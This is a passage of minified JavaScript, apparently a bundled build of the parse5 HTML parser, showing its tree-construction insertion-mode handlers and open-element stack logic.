t=this.openElements.items[e];switch(this.openElements.tagIDs[e]){case d.TAG_ID.TEMPLATE:if(this.treeAdapter.getNamespaceURI(t)===d.NS.HTML)return{parent:this.treeAdapter.getTemplateContent(t),beforeElement:null};break;case d.TAG_ID.TABLE:{const r=this.treeAdapter.getParentNode(t);return r?{parent:r,beforeElement:t}:{parent:this.openElements.items[e-1],beforeElement:null}}}}return{parent:this.openElements.items[0],beforeElement:null}}_fosterParentElement(e){const t=this._findFosterParentingLocation();t.beforeElement?this.treeAdapter.insertBefore(t.parent,e,t.beforeElement):this.treeAdapter.appendChild(t.parent,e)}_isSpecialElement(e,t){const r=this.treeAdapter.getNamespaceURI(e);return d.SPECIAL_ELEMENTS[r].has(t)}onCharacter(e){if(this.skipNextNewLine=!1,this.tokenizer.inForeignNode)!function(e,t){e._insertCharacters(t),e.framesetOk=!1}(this,e);else switch(this.insertionMode){case m.INITIAL:D(this,e);break;case m.BEFORE_HTML:w(this,e);break;case m.BEFORE_HEAD:P(this,e);break;case m.IN_HEAD:L(this,e);break;case m.IN_HEAD_NO_SCRIPT:M(this,e);break;case m.AFTER_HEAD:x(this,e);break;case m.IN_BODY:case m.IN_CAPTION:case m.IN_CELL:case m.IN_TEMPLATE:B(this,e);break;case m.TEXT:case m.IN_SELECT:case m.IN_SELECT_IN_TABLE:this._insertCharacters(e);break;case m.IN_TABLE:case m.IN_TABLE_BODY:case m.IN_ROW:Y(this,e);break;case m.IN_TABLE_TEXT:Z(this,e);break;case m.IN_COLUMN_GROUP:se(this,e);break;case m.AFTER_BODY:he(this,e);break;case m.AFTER_AFTER_BODY:fe(this,e)}}onNullCharacter(e){if(this.skipNextNewLine=!1,this.tokenizer.inForeignNode)!function(e,t){t.chars=c.REPLACEMENT_CHARACTER,e._insertCharacters(t)}(this,e);else switch(this.insertionMode){case m.INITIAL:D(this,e);break;case m.BEFORE_HTML:w(this,e);break;case m.BEFORE_HEAD:P(this,e);break;case m.IN_HEAD:L(this,e);break;case m.IN_HEAD_NO_SCRIPT:M(this,e);break;case m.AFTER_HEAD:x(this,e);break;case m.TEXT:this._insertCharacters(e);break;case m.IN_TABLE:case m.IN_TABLE_BODY:case m.IN_ROW:Y(this,e);break;case m.IN_COLUMN_GROUP:se(this,e);break;case m.AFTER_BODY:he(this,e);break;case m.AFTER_AFTER_BODY:fe(this,e)}}onComment(e){if(this.skipNextNewLine=!1,this.currentNotInHTML)C(this,e);else switch(this.insertionMode){case m.INITIAL:case m.BEFORE_HTML:case m.BEFORE_HEAD:case m.IN_HEAD:case m.IN_HEAD_NO_SCRIPT:case m.AFTER_HEAD:case m.IN_BODY:case m.IN_TABLE:case m.IN_CAPTION:case m.IN_COLUMN_GROUP:case m.IN_TABLE_BODY:case m.IN_ROW:case m.IN_CELL:case m.IN_SELECT:case m.IN_SELECT_IN_TABLE:case m.IN_TEMPLATE:case m.IN_FRAMESET:case m.AFTER_FRAMESET:C(this,e);break;case m.IN_TABLE_TEXT:ee(this,e);break;case m.AFTER_BODY:!function(e,t){e._appendCommentNode(t,e.openElements.items[0])}(this,e);break;case m.AFTER_AFTER_BODY:case m.AFTER_AFTER_FRAMESET:!function(e,t){e._appendCommentNode(t,e.document)}(this,e)}}onDoctype(e){switch(this.skipNextNewLine=!1,this.insertionMode){case m.INITIAL:!function(e,t){e._setDocumentType(t);const r=t.forceQuirks?d.DOCUMENT_MODE.QUIRKS:o.getDocumentMode(t);o.isConforming(t)||e._err(t,u.ERR.nonConformingDoctype),e.treeAdapter.setDocumentMode(e.document,r),e.insertionMode=m.BEFORE_HTML}(this,e);break;case m.BEFORE_HEAD:case m.IN_HEAD:case m.IN_HEAD_NO_SCRIPT:case m.AFTER_HEAD:this._err(e,u.ERR.misplacedDoctype);break;case m.IN_TABLE_TEXT:ee(this,e)}}onStartTag(e){this.skipNextNewLine=!1,this.currentToken=e,this._processStartTag(e),e.selfClosing&&!e.ackSelfClosing&&this._err(e,u.ERR.nonVoidHtmlElementStartTagWithTrailingSolidus)}_processStartTag(e){this.shouldProcessStartTagTokenInForeignContent(e)?function(e,t){if(l.causesExit(t))pe(e),e._startTagOutsideForeignContent(t);else{const r=e._getAdjustedCurrentElement(),s=e.treeAdapter.getNamespaceURI(r);s===d.NS.MATHML?l.adjustTokenMathMLAttrs(t):s===d.NS.SVG&&(l.adjustTokenSVGTagName(t),l.adjustTokenSVGAttrs(t)),l.adjustTokenXMLAttrs(t),t.selfClosing?e._appendElement(t,s):e._insertElement(t,s),t.ackSelfClosing=!0}}(this,e):this._startTagOutsideForeignContent(e)}_startTagOutsideForeignContent(e){switch(this.insertionMode){case m.INITIAL:D(this,e);break;case m.BEFORE_HTML:!function(e,t){t.tagID===d.TAG_ID.HTML?(e._insertElement(t,d.NS.HTML),e.insertionMode=m.BEFORE_HEAD):w(e,t)}(this,e);break;case m.BEFORE_HEAD:!function(e,t){switch(t.tagID){case d.TAG_ID.HTML:W(e,t);break;case d.TAG_ID.HEAD:e._insertElement(t,d.NS.HTML),e.headElement=e.openElements.current,e.insertionMode=m.IN_HEAD;break;default:P(e,t)}}(this,e);break;case m.IN_HEAD:R(this,e);break;case m.IN_HEAD_NO_SCRIPT:!function(e,t){switch(t.tagID){case d.TAG_ID.HTML:W(e,t);break;case d.TAG_ID.BASEFONT:case d.TAG_ID.BGSOUND:case d.TAG_ID.HEAD:case d.TAG_ID.LINK:case d.TAG_ID.META:case d.TAG_ID.NOFRAMES:case d.TAG_ID.STYLE:R(e,t);break;case d.TAG_ID.NOSCRIPT:e._err(t,u.ERR.nestedNoscriptInHead);break;default:M(e,t)}}(this,e);break;case m.AFTER_HEAD:!function(e,t){switch(t.tagID){case d.TAG_ID.HTML:W(e,t);break;case d.TAG_ID.BODY:e._insertElement(t,d.NS.HTML),e.framesetOk=!1,e.insertionMode=m.IN_BODY;break;case d.TAG_ID.FRAMESET:e._insertElement(t,d.NS.HTML),e.insertionMode=m.IN_FRAMESET;break;case d.TAG_ID.BASE:case d.TAG_ID.BASEFONT:case d.TAG_ID.BGSOUND:case d.TAG_ID.LINK:case d.TAG_ID.META:case d.TAG_ID.NOFRAMES:case d.TAG_ID.SCRIPT:case d.TAG_ID.STYLE:case d.TAG_ID.TEMPLATE:case d.TAG_ID.TITLE:e._err(t,u.ERR.abandonedHeadElementChild),e.openElements.push(e.headElement,d.TAG_ID.HEAD),R(e,t),e.openElements.remove(e.headElement);break;case d.TAG_ID.HEAD:e._err(t,u.ERR.misplacedStartTagForHeadElement);break;default:x(e,t)}}(this,e);break;case m.IN_BODY:W(this,e);break;case m.IN_TABLE:z(this,e);break;case m.IN_TABLE_TEXT:ee(this,e);break;case m.IN_CAPTION:!function(e,t){const r=t.tagID;te.has(r)?e.openElements.hasInTableScope(d.TAG_ID.CAPTION)&&(e.openElements.generateImpliedEndTags(),e.openElements.popUntilTagNamePopped(d.TAG_ID.CAPTION),e.activeFormattingElements.clearToLastMarker(),e.insertionMode=m.IN_TABLE,z(e,t)):W(e,t)}(this,e);break;case m.IN_COLUMN_GROUP:re(this,e);break;case m.IN_TABLE_BODY:ne(this,e);break;case m.IN_ROW:ae(this,e);break;case m.IN_CELL:!function(e,t){const r=t.tagID;te.has(r)?(e.openElements.hasInTableScope(d.TAG_ID.TD)||e.openElements.hasInTableScope(d.TAG_ID.TH))&&(e._closeTableCell(),ae(e,t)):W(e,t)}(this,e);break;case m.IN_SELECT:le(this,e);break;case m.IN_SELECT_IN_TABLE:!function(e,t){const r=t.tagID;r===d.TAG_ID.CAPTION||r===d.TAG_ID.TABLE||r===d.TAG_ID.TBODY||r===d.TAG_ID.TFOOT||r===d.TAG_ID.THEAD||r===d.TAG_ID.TR||r===d.TAG_ID.TD||r===d.TAG_ID.TH?(e.openElements.popUntilTagNamePopped(d.TAG_ID.SELECT),e._resetInsertionMode(),e._processStartTag(t)):le(e,t)}(this,e);break;case m.IN_TEMPLATE:!function(e,t){switch(t.tagID){case d.TAG_ID.BASE:case d.TAG_ID.BASEFONT:case d.TAG_ID.BGSOUND:case d.TAG_ID.LINK:case d.TAG_ID.META:case d.TAG_ID.NOFRAMES:case d.TAG_ID.SCRIPT:case d.TAG_ID.STYLE:case d.TAG_ID.TEMPLATE:case d.TAG_ID.TITLE:R(e,t);break;case d.TAG_ID.CAPTION:case d.TAG_ID.COLGROUP:case d.TAG_ID.TBODY:case d.TAG_ID.TFOOT:case d.TAG_ID.THEAD:e.tmplInsertionModeStack[0]=m.IN_TABLE,e.insertionMode=m.IN_TABLE,z(e,t);break;case d.TAG_ID.COL:e.tmplInsertionModeStack[0]=m.IN_COLUMN_GROUP,e.insertionMode=m.IN_COLUMN_GROUP,re(e,t);break;case d.TAG_ID.TR:e.tmplInsertionModeStack[0]=m.IN_TABLE_BODY,e.insertionMode=m.IN_TABLE_BODY,ne(e,t);break;case d.TAG_ID.TD:case d.TAG_ID.TH:e.tmplInsertionModeStack[0]=m.IN_ROW,e.insertionMode=m.IN_ROW,ae(e,t);break;default:e.tmplInsertionModeStack[0]=m.IN_BODY,e.insertionMode=m.IN_BODY,W(e,t)}}(this,e);break;case m.AFTER_BODY:!function(e,t){t.tagID===d.TAG_ID.HTML?W(e,t):he(e,t)}(this,e);break;case m.IN_FRAMESET:!function(e,t){switch(t.tagID){case d.TAG_ID.HTML:W(e,t);break;case d.TAG_ID.FRAMESET:e._insertElement(t,d.NS.HTML);break;case d.TAG_ID.FRAME:e._appendElement(t,d.NS.HTML),t.ackSelfClosing=!0;break;case d.TAG_ID.NOFRAMES:R(e,t)}}(this,e);break;case m.AFTER_FRAMESET:!function(e,t){switch(t.tagID){case d.TAG_ID.HTML:W(e,t);break;case d.TAG_ID.NOFRAMES:R(e,t)}}(this,e);break;case m.AFTER_AFTER_BODY:!function(e,t){t.tagID===d.TAG_ID.HTML?W(e,t):fe(e,t)}(this,e);break;case m.AFTER_AFTER_FRAMESET:!function(e,t){switch(t.tagID){case d.TAG_ID.HTML:W(e,t);break;case d.TAG_ID.NOFRAMES:R(e,t)}}(this,e)}}onEndTag(e){this.skipNextNewLine=!1,this.currentToken=e,this.currentNotInHTML?function(e,t){if(t.tagID===d.TAG_ID.P||t.tagID===d.TAG_ID.BR)return pe(e),void e._endTagOutsideForeignContent(t);for(let r=e.openElements.stackTop;r>0;r--){const s=e.openElements.items[r];if(e.treeAdapter.getNamespaceURI(s)===d.NS.HTML){e._endTagOutsideForeignContent(t);break}const n=e.treeAdapter.getTagName(s);if(n.toLowerCase()===t.tagName){t.tagName=n,e.openElements.shortenToLength(r);break}}}(this,e):this._endTagOutsideForeignContent(e)}_endTagOutsideForeignContent(e){switch(this.insertionMode){case m.INITIAL:D(this,e);break;case m.BEFORE_HTML:!function(e,t){const r=t.tagID;r!==d.TAG_ID.HTML&&r!==d.TAG_ID.HEAD&&r!==d.TAG_ID.BODY&&r!==d.TAG_ID.BR||w(e,t)}(this,e);break;case m.BEFORE_HEAD:!function(e,t){const r=t.tagID;r===d.TAG_ID.HEAD||r===d.TAG_ID.BODY||r===d.TAG_ID.HTML||r===d.TAG_ID.BR?P(e,t):e._err(t,u.ERR.endTagWithoutMatchingOpenElement)}(this,e);break;case m.IN_HEAD:!function(e,t){switch(t.tagID){case d.TAG_ID.HEAD:e.openElements.pop(),e.insertionMode=m.AFTER_HEAD;break;case d.TAG_ID.BODY:case d.TAG_ID.BR:case d.TAG_ID.HTML:L(e,t);break;case d.TAG_ID.TEMPLATE:k(e,t);break;default:e._err(t,u.ERR.endTagWithoutMatchingOpenElement)}}(this,e);break;case m.IN_HEAD_NO_SCRIPT:!function(e,t){switch(t.tagID){case d.TAG_ID.NOSCRIPT:e.openElements.pop(),e.insertionMode=m.IN_HEAD;break;case d.TAG_ID.BR:M(e,t);break;default:e._err(t,u.ERR.endTagWithoutMatchingOpenElement)}}(this,e);break;case m.AFTER_HEAD:!function(e,t){switch(t.tagID){case d.TAG_ID.BODY:case d.TAG_ID.HTML:case d.TAG_ID.BR:x(e,t);break;case d.TAG_ID.TEMPLATE:k(e,t);break;default:e._err(t,u.ERR.endTagWithoutMatchingOpenElement)}}(this,e);break;case m.IN_BODY:V(this,e);break;case m.TEXT:!function(e,t){var r;t.tagID===d.TAG_ID.SCRIPT&&(null===(r=e.scriptHandler)||void 0===r||r.call(e,e.openElements.current)),e.openElements.pop(),e.insertionMode=e.originalInsertionMode}(this,e);break;case m.IN_TABLE:Q(this,e);break;case m.IN_TABLE_TEXT:ee(this,e);break;case m.IN_CAPTION:!function(e,t){const r=t.tagID;switch(r){case d.TAG_ID.CAPTION:case d.TAG_ID.TABLE:e.openElements.hasInTableScope(d.TAG_ID.CAPTION)&&(e.openElements.generateImpliedEndTags(),e.openElements.popUntilTagNamePopped(d.TAG_ID.CAPTION),e.activeFormattingElements.clearToLastMarker(),e.insertionMode=m.IN_TABLE,r===d.TAG_ID.TABLE&&Q(e,t));break;case d.TAG_ID.BODY:case d.TAG_ID.COL:case d.TAG_ID.COLGROUP:case d.TAG_ID.HTML:case d.TAG_ID.TBODY:case d.TAG_ID.TD:case d.TAG_ID.TFOOT:case d.TAG_ID.TH:case d.TAG_ID.THEAD:case d.TAG_ID.TR:break;default:V(e,t)}}(this,e);break;case m.IN_COLUMN_GROUP:!function(e,t){switch(t.tagID){case d.TAG_ID.COLGROUP:e.openElements.currentTagId===d.TAG_ID.COLGROUP&&(e.openElements.pop(),e.insertionMode=m.IN_TABLE);break;case d.TAG_ID.TEMPLATE:k(e,t);break;case d.TAG_ID.COL:break;default:se(e,t)}}(this,e);break;case m.IN_TABLE_BODY:ie(this,e);break;case m.IN_ROW:oe(this,e);break;case m.IN_CELL:!function(e,t){const r=t.tagID;switch(r){case d.TAG_ID.TD:case d.TAG_ID.TH:e.openElements.hasInTableScope(r)&&(e.openElements.generateImpliedEndTags(),e.openElements.popUntilTagNamePopped(r),e.activeFormattingElements.clearToLastMarker(),e.insertionMode=m.IN_ROW);break;case d.TAG_ID.TABLE:case d.TAG_ID.TBODY:case d.TAG_ID.TFOOT:case d.TAG_ID.THEAD:case d.TAG_ID.TR:e.openElements.hasInTableScope(r)&&(e._closeTableCell(),oe(e,t));break;case d.TAG_ID.BODY:case d.TAG_ID.CAPTION:case d.TAG_ID.COL:case d.TAG_ID.COLGROUP:case d.TAG_ID.HTML:break;default:V(e,t)}}(this,e);break;case m.IN_SELECT:ue(this,e);break;case m.IN_SELECT_IN_TABLE:!function(e,t){const r=t.tagID;r===d.TAG_ID.CAPTION||r===d.TAG_ID.TABLE||r===d.TAG_ID.TBODY||r===d.TAG_ID.TFOOT||r===d.TAG_ID.THEAD||r===d.TAG_ID.TR||r===d.TAG_ID.TD||r===d.TAG_ID.TH?e.openElements.hasInTableScope(r)&&(e.openElements.popUntilTagNamePopped(d.TAG_ID.SELECT),e._resetInsertionMode(),e.onEndTag(t)):ue(e,t)}(this,e);break;case m.IN_TEMPLATE:!function(e,t){t.tagID===d.TAG_ID.TEMPLATE&&k(e,t)}(this,e);break;case m.AFTER_BODY:de(this,e);break;case m.IN_FRAMESET:!function(e,t){t.tagID!==d.TAG_ID.FRAMESET||e.openElements.isRootHtmlElementCurrent()||(e.openElements.pop(),e.fragmentContext||e.openElements.currentTagId===d.TAG_ID.FRAMESET||(e.insertionMode=m.AFTER_FRAMESET))}(this,e);break;case m.AFTER_FRAMESET:!function(e,t){t.tagID===d.TAG_ID.HTML&&(e.insertionMode=m.AFTER_AFTER_FRAMESET)}(this,e);break;case m.AFTER_AFTER_BODY:fe(this,e)}}onEof(e){switch(this.insertionMode){case m.INITIAL:D(this,e);break;case m.BEFORE_HTML:w(this,e);break;case m.BEFORE_HEAD:P(this,e);break;case m.IN_HEAD:L(this,e);break;case m.IN_HEAD_NO_SCRIPT:M(this,e);break;case m.AFTER_HEAD:x(this,e);break;case m.IN_BODY:case m.IN_TABLE:case m.IN_CAPTION:case m.IN_COLUMN_GROUP:case m.IN_TABLE_BODY:case m.IN_ROW:case m.IN_CELL:case m.IN_SELECT:case m.IN_SELECT_IN_TABLE:K(this,e);break;case m.TEXT:!function(e,t){e._err(t,u.ERR.eofInElementThatCanContainOnlyText),e.openElements.pop(),e.insertionMode=e.originalInsertionMode,e.onEof(t)}(this,e);break;case m.IN_TABLE_TEXT:ee(this,e);break;case m.IN_TEMPLATE:ce(this,e);break;case m.AFTER_BODY:case m.IN_FRAMESET:case m.AFTER_FRAMESET:case m.AFTER_AFTER_BODY:case m.AFTER_AFTER_FRAMESET:N(this,e)}}onWhitespaceCharacter(e){if(this.skipNextNewLine&&(this.skipNextNewLine=!1,e.chars.charCodeAt(0)===c.CODE_POINTS.LINE_FEED)){if(1===e.chars.length)return;e.chars=e.chars.substr(1)}if(this.tokenizer.inForeignNode)this._insertCharacters(e);else switch(this.insertionMode){case m.IN_HEAD:case m.IN_HEAD_NO_SCRIPT:case m.AFTER_HEAD:case m.TEXT:case m.IN_COLUMN_GROUP:case m.IN_SELECT:case m.IN_SELECT_IN_TABLE:case m.IN_FRAMESET:case m.AFTER_FRAMESET:this._insertCharacters(e);break;case m.IN_BODY:case m.IN_CAPTION:case m.IN_CELL:case m.IN_TEMPLATE:case m.AFTER_BODY:case m.AFTER_AFTER_BODY:case m.AFTER_AFTER_FRAMESET:U(this,e);break;case m.IN_TABLE:case m.IN_TABLE_BODY:case m.IN_ROW:Y(this,e);break;case m.IN_TABLE_TEXT:J(this,e)}}};const te=new Set([d.TAG_ID.CAPTION,d.TAG_ID.COL,d.TAG_ID.COLGROUP,d.TAG_ID.TBODY,d.TAG_ID.TD,d.TAG_ID.TFOOT,d.TAG_ID.TH,d.TAG_ID.THEAD,d.TAG_ID.TR]);function re(e,t){switch(t.tagID){case d.TAG_ID.HTML:W(e,t);break;case d.TAG_ID.COL:e._appendElement(t,d.NS.HTML),t.ackSelfClosing=!0;break;case d.TAG_ID.TEMPLATE:R(e,t);break;default:se(e,t)}}function se(e,t){e.openElements.currentTagId===d.TAG_ID.COLGROUP&&(e.openElements.pop(),e.insertionMode=m.IN_TABLE,e._processToken(t))}function ne(e,t){switch(t.tagID){case d.TAG_ID.TR:e.openElements.clearBackToTableBodyContext(),e._insertElement(t,d.NS.HTML),e.insertionMode=m.IN_ROW;break;case d.TAG_ID.TH:case d.TAG_ID.TD:e.openElements.clearBackToTableBodyContext(),e._insertFakeElement(d.TAG_NAMES.TR,d.TAG_ID.TR),e.insertionMode=m.IN_ROW,ae(e,t);break;case d.TAG_ID.CAPTION:case d.TAG_ID.COL:case d.TAG_ID.COLGROUP:case d.TAG_ID.TBODY:case d.TAG_ID.TFOOT:case d.TAG_ID.THEAD:e.openElements.hasTableBodyContextInTableScope()&&(e.openElements.clearBackToTableBodyContext(),e.openElements.pop(),e.insertionMode=m.IN_TABLE,z(e,t));break;default:z(e,t)}}function ie(e,t){const r=t.tagID;switch(t.tagID){case d.TAG_ID.TBODY:case d.TAG_ID.TFOOT:case d.TAG_ID.THEAD:e.openElements.hasInTableScope(r)&&(e.openElements.clearBackToTableBodyContext(),e.openElements.pop(),e.insertionMode=m.IN_TABLE);break;case d.TAG_ID.TABLE:e.openElements.hasTableBodyContextInTableScope()&&(e.openElements.clearBackToTableBodyContext(),e.openElements.pop(),e.insertionMode=m.IN_TABLE,Q(e,t));break;case d.TAG_ID.BODY:case d.TAG_ID.CAPTION:case d.TAG_ID.COL:case d.TAG_ID.COLGROUP:case d.TAG_ID.HTML:case d.TAG_ID.TD:case d.TAG_ID.TH:case d.TAG_ID.TR:break;default:Q(e,t)}}function ae(e,t){switch(t.tagID){case d.TAG_ID.TH:case d.TAG_ID.TD:e.openElements.clearBackToTableRowContext(),e._insertElement(t,d.NS.HTML),e.insertionMode=m.IN_CELL,e.activeFormattingElements.insertMarker();break;case d.TAG_ID.CAPTION:case d.TAG_ID.COL:case d.TAG_ID.COLGROUP:case d.TAG_ID.TBODY:case d.TAG_ID.TFOOT:case d.TAG_ID.THEAD:case d.TAG_ID.TR:e.openElements.hasInTableScope(d.TAG_ID.TR)&&(e.openElements.clearBackToTableRowContext(),e.openElements.pop(),e.insertionMode=m.IN_TABLE_BODY,ne(e,t));break;default:z(e,t)}}function oe(e,t){switch(t.tagID){case d.TAG_ID.TR:e.openElements.hasInTableScope(d.TAG_ID.TR)&&(e.openElements.clearBackToTableRowContext(),e.openElements.pop(),e.insertionMode=m.IN_TABLE_BODY);break;case d.TAG_ID.TABLE:e.openElements.hasInTableScope(d.TAG_ID.TR)&&(e.openElements.clearBackToTableRowContext(),e.openElements.pop(),e.insertionMode=m.IN_TABLE_BODY,ie(e,t));break;case d.TAG_ID.TBODY:case d.TAG_ID.TFOOT:case d.TAG_ID.THEAD:(e.openElements.hasInTableScope(t.tagID)||e.openElements.hasInTableScope(d.TAG_ID.TR))&&(e.openElements.clearBackToTableRowContext(),e.openElements.pop(),e.insertionMode=m.IN_TABLE_BODY,ie(e,t));break;case d.TAG_ID.BODY:case d.TAG_ID.CAPTION:case d.TAG_ID.COL:case d.TAG_ID.COLGROUP:case d.TAG_ID.HTML:case d.TAG_ID.TD:case d.TAG_ID.TH:break;default:Q(e,t)}}function le(e,t){switch(t.tagID){case d.TAG_ID.HTML:W(e,t);break;case d.TAG_ID.OPTION:e.openElements.currentTagId===d.TAG_ID.OPTION&&e.openElements.pop(),e._insertElement(t,d.NS.HTML);break;case d.TAG_ID.OPTGROUP:e.openElements.currentTagId===d.TAG_ID.OPTION&&e.openElements.pop(),e.openElements.currentTagId===d.TAG_ID.OPTGROUP&&e.openElements.pop(),e._insertElement(t,d.NS.HTML);break;case d.TAG_ID.HR:e.openElements.currentTagId===d.TAG_ID.OPTION&&e.openElements.pop(),e.openElements.currentTagId===d.TAG_ID.OPTGROUP&&e.openElements.pop(),e._appendElement(t,d.NS.HTML),t.ackSelfClosing=!0;break;case d.TAG_ID.INPUT:case d.TAG_ID.KEYGEN:case d.TAG_ID.TEXTAREA:case d.TAG_ID.SELECT:e.openElements.hasInSelectScope(d.TAG_ID.SELECT)&&(e.openElements.popUntilTagNamePopped(d.TAG_ID.SELECT),e._resetInsertionMode(),t.tagID!==d.TAG_ID.SELECT&&e._processStartTag(t));break;case d.TAG_ID.SCRIPT:case d.TAG_ID.TEMPLATE:R(e,t)}}function ue(e,t){switch(t.tagID){case d.TAG_ID.OPTGROUP:e.openElements.stackTop>0&&e.openElements.currentTagId===d.TAG_ID.OPTION&&e.openElements.tagIDs[e.openElements.stackTop-1]===d.TAG_ID.OPTGROUP&&e.openElements.pop(),e.openElements.currentTagId===d.TAG_ID.OPTGROUP&&e.openElements.pop();break;case d.TAG_ID.OPTION:e.openElements.currentTagId===d.TAG_ID.OPTION&&e.openElements.pop();break;case d.TAG_ID.SELECT:e.openElements.hasInSelectScope(d.TAG_ID.SELECT)&&(e.openElements.popUntilTagNamePopped(d.TAG_ID.SELECT),e._resetInsertionMode());break;case d.TAG_ID.TEMPLATE:k(e,t)}}function ce(e,t){e.openElements.tmplCount>0?(e.openElements.popUntilTagNamePopped(d.TAG_ID.TEMPLATE),e.activeFormattingElements.clearToLastMarker(),e.tmplInsertionModeStack.shift(),e._resetInsertionMode(),e.onEof(t)):N(e,t)}function de(e,t){var r;if(t.tagID===d.TAG_ID.HTML){if(e.fragmentContext||(e.insertionMode=m.AFTER_AFTER_BODY),e.options.sourceCodeLocationInfo&&e.openElements.tagIDs[0]===d.TAG_ID.HTML){e._setEndLocation(e.openElements.items[0],t);const s=e.openElements.items[1];s&&!(null===(r=e.treeAdapter.getNodeSourceCodeLocation(s))||void 0===r?void 0:r.endTag)&&e._setEndLocation(s,t)}}else he(e,t)}function he(e,t){e.insertionMode=m.IN_BODY,F(e,t)}function fe(e,t){e.insertionMode=m.IN_BODY,F(e,t)}function pe(e){for(;e.treeAdapter.getNamespaceURI(e.openElements.current)!==d.NS.HTML&&!e._isIntegrationPoint(e.openElements.currentTagId,e.openElements.current);)e.openElements.pop()}},21982:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.OpenElementStack=void 0;const s=r(96854),n=new Set([s.TAG_ID.DD,s.TAG_ID.DT,s.TAG_ID.LI,s.TAG_ID.OPTGROUP,s.TAG_ID.OPTION,s.TAG_ID.P,s.TAG_ID.RB,s.TAG_ID.RP,s.TAG_ID.RT,s.TAG_ID.RTC]),i=new Set([...n,s.TAG_ID.CAPTION,s.TAG_ID.COLGROUP,s.TAG_ID.TBODY,s.TAG_ID.TD,s.TAG_ID.TFOOT,s.TAG_ID.TH,s.TAG_ID.THEAD,s.TAG_ID.TR]),a=new Set([s.TAG_ID.APPLET,s.TAG_ID.CAPTION,s.TAG_ID.HTML,s.TAG_ID.MARQUEE,s.TAG_ID.OBJECT,s.TAG_ID.TABLE,s.TAG_ID.TD,s.TAG_ID.TEMPLATE,s.TAG_ID.TH]),o=new Set([...a,s.TAG_ID.OL,s.TAG_ID.UL]),l=new Set([...a,s.TAG_ID.BUTTON]),u=new Set([s.TAG_ID.ANNOTATION_XML,s.TAG_ID.MI,s.TAG_ID.MN,s.TAG_ID.MO,s.TAG_ID.MS,s.TAG_ID.MTEXT]),c=new Set([s.TAG_ID.DESC,s.TAG_ID.FOREIGN_OBJECT,s.TAG_ID.TITLE]),d=new Set([s.TAG_ID.TR,s.TAG_ID.TEMPLATE,s.TAG_ID.HTML]),h=new Set([s.TAG_ID.TBODY,s.TAG_ID.TFOOT,s.TAG_ID.THEAD,s.TAG_ID.TEMPLATE,s.TAG_ID.HTML]),f=new Set([s.TAG_ID.TABLE,s.TAG_ID.TEMPLATE,s.TAG_ID.HTML]),p=new Set([s.TAG_ID.TD,s.TAG_ID.TH]);t.OpenElementStack=class{get currentTmplContentOrNode(){return this._isInTemplate()?this.treeAdapter.getTemplateContent(this.current):this.current}constructor(e,t,r){this.treeAdapter=t,this.handler=r,this.items=[],this.tagIDs=[],this.stackTop=-1,this.tmplCount=0,this.currentTagId=s.TAG_ID.UNKNOWN,this.current=e}_indexOf(e){return this.items.lastIndexOf(e,this.stackTop)}_isInTemplate(){return this.currentTagId===s.TAG_ID.TEMPLATE&&this.treeAdapter.getNamespaceURI(this.current)===s.NS.HTML}_updateCurrentElement(){this.current=this.items[this.stackTop],this.currentTagId=this.tagIDs[this.stackTop]}push(e,t){this.stackTop++,this.items[this.stackTop]=e,this.current=e,this.tagIDs[this.stackTop]=t,this.currentTagId=t,this._isInTemplate()&&this.tmplCount++,this.handler.onItemPush(e,t,!0)}pop(){const e=this.current;this.tmplCount>0&&this._isInTemplate()&&this.tmplCount--,this.stackTop--,this._updateCurrentElement(),this.handler.onItemPop(e,!0)}replace(e,t){const r=this._indexOf(e);this.items[r]=t,r===this.stackTop&&(this.current=t)}insertAfter(e,t,r){const s=this._indexOf(e)+1;this.items.splice(s,0,t),this.tagIDs.splice(s,0,r),this.stackTop++,s===this.stackTop&&this._updateCurrentElement(),this.handler.onItemPush(this.current,this.currentTagId,s===this.stackTop)}popUntilTagNamePopped(e){let t=this.stackTop+1;do{t=this.tagIDs.lastIndexOf(e,t-1)}while(t>0&&this.treeAdapter.getNamespaceURI(this.items[t])!==s.NS.HTML);this.shortenToLength(t<0?0:t)}shortenToLength(e){for(;this.stackTop>=e;){const t=this.current;this.tmplCount>0&&this._isInTemplate()&&(this.tmplCount-=1),this.stackTop--,this._updateCurrentElement(),this.handler.onItemPop(t,this.stackTop<e)}}popUntilElementPopped(e){const t=this._indexOf(e);this.shortenToLength(t<0?0:t)}popUntilPopped(e,t){const r=this._indexOfTagNames(e,t);this.shortenToLength(r<0?0:r)}popUntilNumberedHeaderPopped(){this.popUntilPopped(s.NUMBERED_HEADERS,s.NS.HTML)}popUntilTableCellPopped(){this.popUntilPopped(p,s.NS.HTML)}popAllUpToHtmlElement(){this.tmplCount=0,this.shortenToLength(1)}_indexOfTagNames(e,t){for(let r=this.stackTop;r>=0;r--)if(e.has(this.tagIDs[r])&&this.treeAdapter.getNamespaceURI(this.items[r])===t)return r;return-1}clearBackTo(e,t){const r=this._indexOfTagNames(e,t);this.shortenToLength(r+1)}clearBackToTableContext(){this.clearBackTo(f,s.NS.HTML)}clearBackToTableBodyContext(){this.clearBackTo(h,s.NS.HTML)}clearBackToTableRowContext(){this.clearBackTo(d,s.NS.HTML)}remove(e){const t=this._indexOf(e);t>=0&&(t===this.stackTop?this.pop():(this.items.splice(t,1),this.tagIDs.splice(t,1),this.stackTop--,this._updateCurrentElement(),this.handler.onItemPop(e,!1)))}tryPeekProperlyNestedBodyElement(){return this.stackTop>=1&&this.tagIDs[1]===s.TAG_ID.BODY?this.items[1]:null}contains(e){return this._indexOf(e)>-1}getCommonAncestor(e){const t=this._indexOf(e)-1;return t>=0?this.items[t]:null}isRootHtmlElementCurrent(){return 0===this.stackTop&&this.tagIDs[0]===s.TAG_ID.HTML}hasInDynamicScope(e,t){for(let r=this.stackTop;r>=0;r--){const n=this.tagIDs[r];switch(this.treeAdapter.getNamespaceURI(this.items[r])){case s.NS.HTML:if(n===e)return!0;if(t.has(n))return!1;break;case s.NS.SVG:if(c.has(n))return!1;break;case s.NS.MATHML:if(u.has(n))return!1}}return!0}hasInScope(e){return this.hasInDynamicScope(e,a)}hasInListItemScope(e){return this.hasInDynamicScope(e,o)}hasInButtonScope(e){return this.hasInDynamicScope(e,l)}hasNumberedHeaderInScope(){for(let e=this.stackTop;e>=0;e--){const t=this.tagIDs[e];switch(this.treeAdapter.getNamespaceURI(this.items[e])){case s.NS.HTML:if(s.NUMBERED_HEADERS.has(t))return!0;if(a.has(t))return!1;break;case s.NS.SVG:if(c.has(t))return!1;break;case s.NS.MATHML:if(u.has(t))return!1}}return!0}hasInTableScope(e){for(let 